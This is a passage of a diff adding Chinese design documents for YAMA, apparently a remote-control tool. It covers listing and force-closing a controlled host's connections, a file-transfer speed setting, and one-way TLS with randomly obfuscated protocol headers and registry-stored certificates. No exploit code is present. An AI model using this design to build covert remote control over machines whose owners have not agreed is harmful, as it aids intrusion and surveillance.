3. **枚举成本**:每行一次 `OpenProcess` 取进程名,数百行连接约毫秒~十毫秒级,可接受;`OpenProcess` 失败直接
|
||||||
|
`"<unknown>"`,不阻塞枚举。
|
||||||
|
4. **PID 复用 / 进程退出**:断连用的是**端点**而非 PID,进程退出不影响 `SetTcpEntry` 命中;`procName` 仅用于展示。
|
||||||
|
5. **HTTP 分片**:连接数多时列表可超 1460 字节,依赖已修复的分片续包处理(§3.3)。
|
||||||
|
6. **老版本客户端**:老客户端无 `COMMAND_CONNECTION` 处理,点工具栏会无响应(与「老客户端不支持活动历史/日志」
|
||||||
|
同类),属预期;不影响服务端其它功能。
|
||||||
|
|
||||||
|
## 8. 验证计划(施工后填写)
|
||||||
|
|
||||||
|
1. 服务端:MSBuild 加 `-p:SolutionDir` 编译通过(见项目记忆 yama-server-msbuild-solutiondir);客户端同步编译。
|
||||||
|
2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP(含 IPv4/IPv6)连接,
|
||||||
|
字段(协议/地址/端口/状态/PID/进程名)与远端 `netstat -ano` 一致。
|
||||||
|
3. 右键一条 **IPv4 TCP** 已建立连接(如对测试服务器的 ESTABLISHED)→ 强制断开 → 刷新后该行消失、
|
||||||
|
远端 `netstat` 不再显示;进程自身未受影响。
|
||||||
|
4. 右键 **UDP / IPv6** 行 → 菜单项置灰,不可断连。
|
||||||
|
5. 刷新按钮 / 重复打开对话框 → 列表更新正常;关对话框后子连接释放(无泄漏)。
|
||||||
|
6. 回归:服务管理 / 进程管理 / MCP 等既有功能不受影响(无 command/token/ID 冲突)。
|
||||||
|
|
||||||
|
## 9. 实现记录
|
||||||
|
|
||||||
|
- 已实现并评审通过(2026-10-04)。实现与 §4/§5 一致:工具栏第 17 个图标(`ID_CONNECTION_MANAGE`,紧邻 MCP 之后)
|
||||||
|
打开连接管理对话框;客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接;服务端新增 `CConnectionsDlg`
|
||||||
|
表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
|
||||||
|
- **评审修正一处关键缺陷(字节序)**:iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
|
||||||
|
低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒(强断因往返对称仍能命中)。
|
||||||
|
已改为:地址存网络序字节(`PutAddr4`)、端口 `ntohs` 转主机序;断连时地址拼回 DWORD(`GetAddr4`)、端口
|
||||||
|
`htons` 转回网络序。详见 §3.2 / §6。
|
||||||
|
- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`(48/32/16,32 位带透明)。
|
||||||
|
- 编译:`client/ConnectionsManager.cpp`(UTF-8 BOM + CRLF,`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构)
|
||||||
|
经 MSBuild(v143 工具集覆盖)编译通过;整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻,属环境问题,与本功能无关。
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
# YAMA 文件传输速度调节设计
|
||||||
|
|
||||||
|
> **状态**:已实现(Windows 端,含多语言)。其他平台(Linux/macOS 客户端)暂不实施。
|
||||||
|
> **读者**:研发/评审人员。
|
||||||
|
> **关联文档**:[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议)、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)(MCP 文件传输)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 背景与目标
|
||||||
|
|
||||||
|
文件传输速度目前是**写死的**:`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`,折算 ≈ 1.25 MB/s。用户无法调节。
|
||||||
|
|
||||||
|
目标:在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置,实时显示预估速度;**不修改 SimplePlugins 库**(库已编译,只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 速度原理(现状)
|
||||||
|
|
||||||
|
库内部把两个入参转成全局量(`SimplePlugins/file_upload.cpp:221-222, 849-850`):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static int chunk_size = 64 * 1024; // 默认 64KB
|
||||||
|
static int send_duration = 50; // 默认 50ms
|
||||||
|
// InitFileUpload: chunk_size = chunkSizeKb * 1024; send_duration = sendDurationMs;
|
||||||
|
```
|
||||||
|
|
||||||
|
发送循环每发一块就 `Sleep(send_duration)`(V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量):
|
||||||
|
|
||||||
|
```
|
||||||
|
预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
|
||||||
|
默认 64KB / 50ms ≈ 1.25 MB/s
|
||||||
|
```
|
||||||
|
|
||||||
|
两个关键约束:
|
||||||
|
|
||||||
|
1. **速度只在 `InitFileUpload` 时设定一次**,库无运行时 setter(`g_threadCount > 1` 时提前返回,不会重设)。
|
||||||
|
2. **V1 / V2 共用同一对全局量**,一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 档位表(权威唯一来源,主控端对话框维护)
|
||||||
|
|
||||||
|
| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
|
||||||
|
| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
|
||||||
|
| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
|
||||||
|
| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
|
||||||
|
| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
|
||||||
|
| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
|
||||||
|
| 6 | 不限速 | 1024 | 0 | 网络上限 |
|
||||||
|
|
||||||
|
- 滑块 `CSliderCtrl` 范围 `0..6`,`SetPageSize(1)`,默认落在 2。
|
||||||
|
- `durationMs = 0` 表示不人为限速(`Sleep(0)` 仅让出时间片,实际受带宽约束)。
|
||||||
|
- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**:`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms,要么直接 0ms,不设 5ms 之类的“名不副实”中间值。
|
||||||
|
|
||||||
|
预估文案:`当前约 1.25 MB/s`;`durationMs==0` 显示 `不限速(受网络带宽约束)`。
|
||||||
|
|
||||||
|
- **多语言**:档位名(最慢/慢/默认/快/更快/很快/不限速)与预估格式串(`%s · 约 %.2f MB/s`、`%s · 不受限速(受网络带宽约束)`)经 `_TR`/`_LF` 走 `LangManager` 翻译表;语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译(英文宽度不同,不能靠空格对齐)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 两个方向的生效链路
|
||||||
|
|
||||||
|
文件传输有两条方向,`InitFileUpload` 各自在不同进程/时机调用:
|
||||||
|
|
||||||
|
| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 上传(主控端 → 被控端) | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`(启动一次) | 读 `THIS_CFG`,重启主控端生效 |
|
||||||
|
| 下载(被控端 → 主控端) | 被控端 | `client/FileManager.cpp:40`(CFileManager 构造,每会话一次) | 读客户端配置(`MasterSettings` 登录下发写入),下次打开文件管理会话生效 |
|
||||||
|
|
||||||
|
### 4.1 上传方向(主控端本地,无协议改动)
|
||||||
|
|
||||||
|
`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`,改为读 `THIS_CFG`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
|
||||||
|
int durMs = THIS_CFG.GetInt("transfer", "DurationMs", 50);
|
||||||
|
InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.2 下载方向(随 `MasterSettings` 登录下发到被控端)
|
||||||
|
|
||||||
|
下载速度**不再用独立命令下发**,而是折叠进 `MasterSettings` 结构体,随**客户端每次登录成功**第一时间下发(主连接建立即 `SendMasterSettings`),客户端持久化到 `[transfer]` 节后本地生效:
|
||||||
|
|
||||||
|
1. **`common/commands.h`**:在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段(`sizeof` 仍为 1000,`Signature` 偏移不变,向下兼容老客户端):
|
||||||
|
```c
|
||||||
|
uint16_t TransferChunkKb; // 文件传输速度 chunkKb(随登录配置下发)
|
||||||
|
uint16_t TransferDurationMs; // 文件传输速度 durationMs(0=不限速)
|
||||||
|
```
|
||||||
|
2. **主控端登录即下发**:`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`(`GetTransferSpeed`,默认 64/50),填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端,**无需任何额外命令**。
|
||||||
|
3. **主控端改速即时广播**:`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`,在线客户端即时收到新速度;新连接主机也自动获取。
|
||||||
|
4. **被控端接收**:客户端 `CMD_MASTERSETTING` 处理器(`client/KernelManager.cpp:1116` 附近)中,`TransferChunkKb` 非 0(老主控未携带时为 0,保留本地默认值)则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
|
||||||
|
5. **被控端调用点读配置**:`client/FileManager.cpp:40`(CFileManager 构造)等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`,替换硬编码 `64, 50`。CFileManager 每会话重建(构造 Init、析构 Uninit),故下次打开文件管理即生效。
|
||||||
|
|
||||||
|
> **为何不用独立命令**:v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`(`OutCompressedBuffer` 累积),导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因(commit 76decec)。改为随 `MasterSettings` 登录下发后,下载方向不再有任何背靠背发送。
|
||||||
|
> **向后兼容**:`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留,供老主控(仍按旧机制下发)与新客户端互通;新主控不再发送该命令。
|
||||||
|
> **关键**:库用进程级引用计数,速度只在**首次** `InitFileUpload` 时设定(`g_threadCount > 1` 时提前返回,不重设)。客户端共 4 个 `InitFileUpload` 调用点(`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`),谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**,否则下载速度会被先初始化的管理器(如远程桌面会话)锁成旧值。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 配置存储
|
||||||
|
|
||||||
|
- 主控端:`THIS_CFG`(ini)`[transfer]` 节 `ChunkKb` / `DurationMs`(int)。
|
||||||
|
- 被控端:`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`(int),由 `MasterSettings` 登录下发写入。
|
||||||
|
|
||||||
|
存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引:自解释、直接对应 `InitFileUpload` 入参、不易错位。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 改动文件清单(Windows 端)
|
||||||
|
|
||||||
|
| 文件 | 改动 |
|
||||||
|
|---|---|
|
||||||
|
| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
|
||||||
|
| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项;新增对话框资源(滑块+预估标签+按钮)。**文件为 UTF-16LE 编码,须按 Unicode 读写** |
|
||||||
|
| `server/2015Remote/CFileSpeedDlg.h` | 新建:档位表 + `OnHScroll` 实时预估 + 恢复默认(照 `CPreviewLevelsDlg.h` 内联实现) |
|
||||||
|
| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
|
||||||
|
| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`;`2223` 读配置(上传);`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`;`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
|
||||||
|
| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`(`sizeof` 不变,`CMD_FILE_SPEED=252` 保留向后兼容) |
|
||||||
|
| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`(`TransferChunkKb` 非 0 才写) |
|
||||||
|
| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`(引用计数要求全部一致) |
|
||||||
|
| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文(GBK 编码,`RCDATA "lang\*.ini"` 由 rc.exe 嵌入) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 生效时机与提示文案
|
||||||
|
|
||||||
|
- 上传速度:重启主控端生效。
|
||||||
|
- 下载速度:已推送到在线客户端即时生效;新连接的主机自动获取。
|
||||||
|
- 对话框保存后弹提示:`文件传输速度已保存。上传速度重启主控端后生效;下载速度已推送到在线客户端,新连接的主机也会自动获取。`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 风险与备注
|
||||||
|
|
||||||
|
1. **`Sleep` 精度**:Windows 计时器粒度约 15.6ms,`durationMs` 过小则失真(见 §3)。
|
||||||
|
2. **实际速度 < 预估**:预估为纯 `chunk/delay` 理论值,未计入 `f()` 网络发送耗时;对话框文案用“约/大概”表述。
|
||||||
|
3. **结构体字段布局**:`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前(`sizeof(MasterSettings)` 仍为 1000,`Signature` 偏移不变),保证与 Go 侧/老客户端二进制兼容;`TransferChunkKb == 0` 作为“未下发”哨兵(老主控未填充 → 客户端保留本地默认值)。
|
||||||
|
4. **`.rc` 编码**:`2015Remote.rc` 为 UTF-16LE(带 BOM),编辑必须按 Unicode 处理,避免破坏资源脚本。
|
||||||
|
5. **跨平台**:Linux/macOS 客户端下载路径暂不改;`MasterSettings` 新增字段位于原 `Reserved` 区(老/其他平台客户端不识别即忽略),向后兼容。
|
||||||
|
6. **多语言 key 精确匹配**:语言文件为 GBK 编码、key 不 trim(`CIniParser` 保留原始空格);译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK,`·`(U+00B7)、全角括号()等需一致,否则查不到翻译。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 实施顺序
|
||||||
|
|
||||||
|
1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
|
||||||
|
2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线(上传方向,可先验证)。
|
||||||
|
3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置(下载方向)。
|
||||||
|
4. 编译验证(MSBuild 须传 `-p:SolutionDir`,见项目记忆)。
|
||||||
@@ -0,0 +1,313 @@
|
|||||||
|
# 传输层单向 TLS 加密设计(按需加密)
|
||||||
|
|
||||||
|
> 版本:v0.5 · 状态:**Go 服务端 + Windows 客户端已实现并验证;信任锚改存注册表;MFC 主控端(阶段 3)未施工** · 日期:2026-10-14
|
||||||
|
> 目标:让 YAMA 设备端口(TCP 6543)在继续兼容老客户端(明文/XOR)的同时,允许新客户端在拿到证书后按需开启**单向 TLS** 加密传输。
|
||||||
|
> 本期范围:**Go 服务端(`server/go`)+ Windows 客户端**;MFC 服务端(`server/2015Remote`)延后。
|
||||||
|
>
|
||||||
|
> 需求原文(三点,逐一对应下文):
|
||||||
|
> 1. 新客户端**默认不加密**,行为与老客户端完全一致;
|
||||||
|
> 2. 某些高要求场景,管理员「颁发一个证书给该客户端 + 重启」,该客户端即改走加密;
|
||||||
|
> 3. 服务端同一端口(6543)同时兼容明文与 TLS 两种客户端,老客户端零改动。
|
||||||
|
|
||||||
|
## 1. 目标与范围
|
||||||
|
|
||||||
|
### 目标
|
||||||
|
|
||||||
|
- 同一 `6543` 端口上,服务端自动区分「明文客户端」与「TLS 客户端」,按连接路由。
|
||||||
|
- 加密是**按部署、按客户端开关**的:证书(注册表值或文件)在 → TLS;证书不在 → 明文(与老客户端一致)。
|
||||||
|
- 老客户端(无证书概念)行为不变、零改动。
|
||||||
|
- 满足 Measure 1 的「传输层真加密 + 抗重放」目标(对 TLS 客户端而言)。
|
||||||
|
|
||||||
|
### 非目标(Non-goals,本次不做)
|
||||||
|
|
||||||
|
- 不做 **mTLS / 客户端证书**:单向 TLS 不验证客户端证书,客户端身份仍由隧道内的现有登录(`PwdHmac` V1 / `ECDSA` V2)承担。
|
||||||
|
- 不做传输层 PSK(`YAMA_TRANSPORT_KEY`)方案——本设计改用证书,更贴合「颁发证书」的运维模型。
|
||||||
|
- 不改应用层协议(flag 帧格式 / XOR / zstd),不做「TLS 内去掉 XOR」的二次精简(后续可选)。
|
||||||
|
- 不做加密开关的运行时热切换(证书只在客户端启动时读取一次,改配置需重启——这正是需求)。
|
||||||
|
- 不做 Linux / macOS / Android 客户端的 TLS 接入(本文以 Windows MFC 客户端为主,其余平台同样式跟进)。
|
||||||
|
- 不做 **MFC 服务端(`server/2015Remote`)的 TLS 接入**——本期只做 Go 服务端(`server/go`),MFC 主控端延后到阶段 3。
|
||||||
|
|
||||||
|
## 2. 现状与复用
|
||||||
|
|
||||||
|
### 2.1 当前传输(已核实)
|
||||||
|
|
||||||
|
服务端 TCP 传输链路:`server/go/server/server.go` `acceptLoop()`(329–360 行)`Accept` 后 `go handleConnection(conn)`;`handleConnection()`(363–425 行)读入 `ctx.InBuffer`,交给 `protocol.Parser`。
|
||||||
|
|
||||||
|
`server/go/protocol/parser.go` `Parse()`(51–85 行):
|
||||||
|
|
||||||
|
1. 可选剥离 HTTP-mask(`POST /...\r\n\r\n` 外壳,`common/mask.h` 的 `HttpMask`);
|
||||||
|
2. `parseHeader()`(88–140 行)调用 `CheckHead()` 识别协议;
|
||||||
|
3. `parsePacket()`(143–225 行)解头 + XOR 解码 + zstd 解压。
|
||||||
|
|
||||||
|
`server/go/protocol/header.go` `CheckHead()`(149–165 行)对前 12 字节依次尝试 8 种头混淆 × 4 种魔数,命中即得 `FlagType`:
|
||||||
|
|
||||||
|
| FlagType | 魔数 | 首字节 |
|
||||||
|
|---|---|---|
|
||||||
|
| FlagHell(4) | `HELL` | `H`=0x48 |
|
||||||
|
| FlagShine(1) | `Shine` | `S`=0x53 |
|
||||||
|
| FlagFuck(2) | `<<FUCK>>` | `<`=0x3C |
|
||||||
|
| FlagHello(3) | `Hello?` | `H`=0x48 |
|
||||||
|
| HTTP-mask | `POST ` | `P`=0x50 |
|
||||||
|
|
||||||
|
> 注意:上表「首字节」是**解密后**的魔数首字节。实际线上,客户端(`common/header.h` 的 `GetHead`)会用 `time() % 12` 随机选一个混淆方法对前 4 字节魔数加密(仅在 `superAdmin` 命中的 `HellEncoder` 路径;默认 `ProtocolEncoder` 直接发明文 `Shine`)。因此**原始首字节可能是任意值**,包括 `0x16`。这正是 TLS 检测不能只看前两字节、必须再加一字节判据的原因(见 §3.1)。
|
||||||
|
|
||||||
|
当前「加密」为 `codec.go` 的 `xorDecoder16`(XOR + 两轮伪随机交换,密钥是明文带内 1~2 字节)+ `header.go` 的 V0~V6 头混淆——**等于明文**。这正是 Measure 1 要解决的。
|
||||||
|
|
||||||
|
### 2.2 客户端登录(已核实,隧道内照常)
|
||||||
|
|
||||||
|
- V1:`client/KernelManager.cpp:1857` 从配置读 `settings/PwdHmac`(预计算摘要),服务端 `auth.go:240` `VerifyMessage(YAMA_PWD, passcode, hmacSig)` 校验。`YAMA_PWD` 只存在服务端,客户端只有摘要,不持有 `YAMA_PWD`。
|
||||||
|
- V2:`auth.go:188` ECDSA P-256 验签(`v2:BASE64`),客户端持私钥、服务端持公钥。
|
||||||
|
|
||||||
|
### 2.3 关键结论(本设计的基础)
|
||||||
|
|
||||||
|
**TLS 作为「透明传输包装」,应用层协议一行不改。** 即:
|
||||||
|
|
||||||
|
```
|
||||||
|
明文客户端: [TCP] = flag 帧 + XOR payload + zstd
|
||||||
|
TLS 客户端: [TCP][TLS] = { flag 帧 + XOR payload + zstd }
|
||||||
|
```
|
||||||
|
|
||||||
|
服务端 `parser.go`/`codec.go`/`header.go`/handler 全部不动;TLS 客户端解密后的字节流就是同一套协议。唯一新增的是**连接建立时的 TLS 检测与解包**。XOR 套在 TLS 里冗余但无害,保留它换来「应用协议零改动、老新客户端共用同一套代码」。
|
||||||
|
|
||||||
|
## 3. 总体方案
|
||||||
|
|
||||||
|
### 3.1 同端口共存 + 首字节检测
|
||||||
|
|
||||||
|
服务端在 `handleConnection` 开头(`Accept` 之后)偷看连接开头 6 字节:
|
||||||
|
|
||||||
|
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + 握手类型 ClientHello)→ 交给 `tls.Server` 解包;
|
||||||
|
- 其它 → 走现有明文路径。
|
||||||
|
|
||||||
|
**为何要看第 6 字节**:客户端会随机混淆魔数头(见 §2.1),所以明文连接的前两字节**可能**恰好是 `0x16 0x03`。但混淆只作用于前 4 字节魔数,字节 5 对混淆后的 `HELL` 头恒为 `0x00`,对明文 `Shine`/`POST` 变体是 ASCII 字符——**永远不会是 `0x01`**;而任何 TLS 握手记录里,字节 5 就是握手消息类型,ClientHello 恒为 `0x01`。于是 `0x16 0x03` 加 `b[5]==0x01` 三重判据让误判概率趋近于零。
|
||||||
|
|
||||||
|
```
|
||||||
|
accept
|
||||||
|
├─ 现有 MaxConnections / per-IP 限流(保持,先于 TLS 握手,廉价拒绝 + 抗握手 DoS)
|
||||||
|
├─ peek 3 字节
|
||||||
|
│ ├─ 0x16 0x03 → tls.Server(conn, tlsCfg)(惰性握手,首次 Read 触发)
|
||||||
|
│ └─ 其它 → 明文
|
||||||
|
└─ handleConnection(conn) // 不区分明文/TLS,tls.Conn 实现 net.Conn
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3.2 客户端行为
|
||||||
|
|
||||||
|
客户端启动时检查「证书文件是否存在」:
|
||||||
|
|
||||||
|
- 不在 → 明文(与老客户端完全一致,默认即此);
|
||||||
|
- 在 → 所有出站 TCP 连接(主连接 + screen/terminal/file 子连接)统一走 TLS。
|
||||||
|
|
||||||
|
### 3.3 架构图
|
||||||
|
|
||||||
|
```
|
||||||
|
┌──────────── 被控端(客户端,无证书) ────────────┐
|
||||||
|
│ TCP ── flag+XOR+zstd ─────────────────────────► │ 明文
|
||||||
|
└───────────────────────────────────────────────────┘
|
||||||
|
┌──────────── 被控端(客户端,有证书) ────────────┐
|
||||||
|
│ TCP ── TLS ── { flag+XOR+zstd } ──────────────► │ 加密
|
||||||
|
└───────────────────────────────────────────────────┘
|
||||||
|
│
|
||||||
|
▼
|
||||||
|
┌──────────────────────┐
|
||||||
|
│ 服务端 6543 │
|
||||||
|
│ peek 首字节路由 │
|
||||||
|
│ ├─ 0x16 0x03 → TLS │
|
||||||
|
│ └─ 其它 → 明文 │
|
||||||
|
│ ── 同一套 parser/handler │
|
||||||
|
└──────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
## 4. 证书模型(单向 TLS)
|
||||||
|
|
||||||
|
- 服务端持有一张**服务端证书 + 私钥**(可自签名,或由自建 CA 签发)。
|
||||||
|
- 客户端持有**信任锚证书**(CA 证书,或自签名服务端证书本身)用于在握手时校验服务端。
|
||||||
|
- 「颁发证书给某客户端」= 把信任锚证书投递到该客户端(**注册表值**,见 §6.1/§9.3)。证书是**共享的信任锚**(不是每个客户端一张唯一证书),「颁发」的本质是**决定给哪个客户端开加密**。
|
||||||
|
- 单向 TLS **不认证客户端身份**;客户端身份仍由隧道内的登录(V1 `PwdHmac` / V2 ECDSA)承担。
|
||||||
|
- 信任锚首选存注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 直接存 PEM 正文);兼容旧方式:`settings.ini` `[settings] tls_cert` 路径,或 exe 同目录 `yama-ca.pem` 文件。
|
||||||
|
|
||||||
|
## 5. 服务端改动
|
||||||
|
|
||||||
|
### 5.1 配置(`server/go/server/server.go` `Config`)
|
||||||
|
|
||||||
|
新增两个字段,均为证书/私钥文件路径;空 = 禁用 TLS(仅明文,向后兼容):
|
||||||
|
|
||||||
|
```go
|
||||||
|
TLSCertFile string // 服务端证书(PEM)
|
||||||
|
TLSKeyFile string // 服务端私钥(PEM)
|
||||||
|
```
|
||||||
|
|
||||||
|
`cmd/main.go` 读取环境变量(沿用现有 `YAMA_*` 命名):
|
||||||
|
|
||||||
|
```go
|
||||||
|
cfg.TLSCertFile = os.Getenv("YAMA_TLS_CERT")
|
||||||
|
cfg.TLSKeyFile = os.Getenv("YAMA_TLS_KEY")
|
||||||
|
```
|
||||||
|
|
||||||
|
仅当两者都非空才构建 `*tls.Config`;否则 `s.tlsCfg == nil`,`acceptLoop` 走纯明文。
|
||||||
|
|
||||||
|
### 5.2 `tls.Config`
|
||||||
|
|
||||||
|
```go
|
||||||
|
tlsCfg := &tls.Config{
|
||||||
|
Certificates: []tls.Certificate{cert},
|
||||||
|
MinVersion: tls.VersionTLS12,
|
||||||
|
// 单向 TLS:不设 ClientAuth / ClientCAs
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 `handleConnection` 检测 + 回放
|
||||||
|
|
||||||
|
标准 peek 回放:`bufio.Reader` 预读 6 字节,封装成 `bufferedConn`(实现 `net.Conn`,`Read` 委托给 `Reader`),判断后把已读字节一并交给目标。嗅探本身设了 `ReadTimeout` 截止,超时/EOF 则退回原始 conn 走明文,由读循环处理:
|
||||||
|
|
||||||
|
```go
|
||||||
|
func (s *Server) wrapTLS(conn net.Conn) net.Conn {
|
||||||
|
br := bufio.NewReader(conn)
|
||||||
|
_ = conn.SetReadDeadline(time.Now().Add(s.config.ReadTimeout)) // 嗅探受超时约束
|
||||||
|
hdr, err := br.Peek(6)
|
||||||
|
_ = conn.SetReadDeadline(time.Time{})
|
||||||
|
if err != nil {
|
||||||
|
return conn // 超时/EOF:走明文,交由读循环处理
|
||||||
|
}
|
||||||
|
bc := &bufferedConn{Conn: conn, r: br}
|
||||||
|
if isTLSClientHello(hdr) { // 0x16 0x03 且 b[5]==0x01
|
||||||
|
return tls.Server(bc, s.tlsCfg) // 握手惰性,首次 Read 触发
|
||||||
|
}
|
||||||
|
return bc
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.4 握手超时
|
||||||
|
|
||||||
|
`handleConnection` 首次 `conn.Read` 会触发 TLS 握手,而它已按 `ReadTimeout` 设了 `SetReadDeadline`,因此握手天然受 `ReadTimeout` 约束,无需额外机制。per-IP 限流(现有)继续在握手前生效,压制握手 DoS。
|
||||||
|
|
||||||
|
### 5.5 明确不动的部分
|
||||||
|
|
||||||
|
- `parser.go` / `codec.go` / `header.go`:**零改动**。
|
||||||
|
- `handleConnection` / `processData` / handler 栈:**零改动**(`tls.Conn` 满足 `net.Conn`)。
|
||||||
|
|
||||||
|
## 6. 客户端改动
|
||||||
|
|
||||||
|
### 6.1 证书检测
|
||||||
|
|
||||||
|
启动时(连接前)按优先级找信任锚:① 注册表 `Software\<exehash>\settings\tls_cert`(REG_SZ 存 PEM 正文)→ ② `settings.ini` `[settings] tls_cert` 路径 → ③ exe 同目录 `yama-ca.pem`。找到即走 TLS,否则明文。实现:`client/TlsChannel.cpp` 的 `ReadTrustAnchor()` + `TlsEnabled()`(`std::call_once` 惰性加载、线程安全、幂等)。
|
||||||
|
|
||||||
|
### 6.2 TLS 栈选型(已定:Schannel)
|
||||||
|
|
||||||
|
- **已选 Schannel(Windows 原生 SSPI)**:零第三方依赖/零额外 DLL 部署,`secur32.lib`/`crypt32.lib` 均为系统库(`secur32.lib` 已在 `CFFmpegH264Encoder.cpp:38` 链接)。
|
||||||
|
- 信任锚(PEM/DER 正文,来自注册表或文件)经 `CryptStringToBinaryA` 解码 → `CertCreateCertificateContext` → 内存 `HCERTSTORE`;握手后 `CertGetCertificateChain` 把服务端证书链到该信任锚,`dwErrorStatus == 0` 才放行(含时间有效性)。**严格钉扎**:链引擎用 `hExclusiveRoot` 只信任该 store,排除系统根库,否则公共 CA 签发的证书也能通过。**fail-closed**。
|
||||||
|
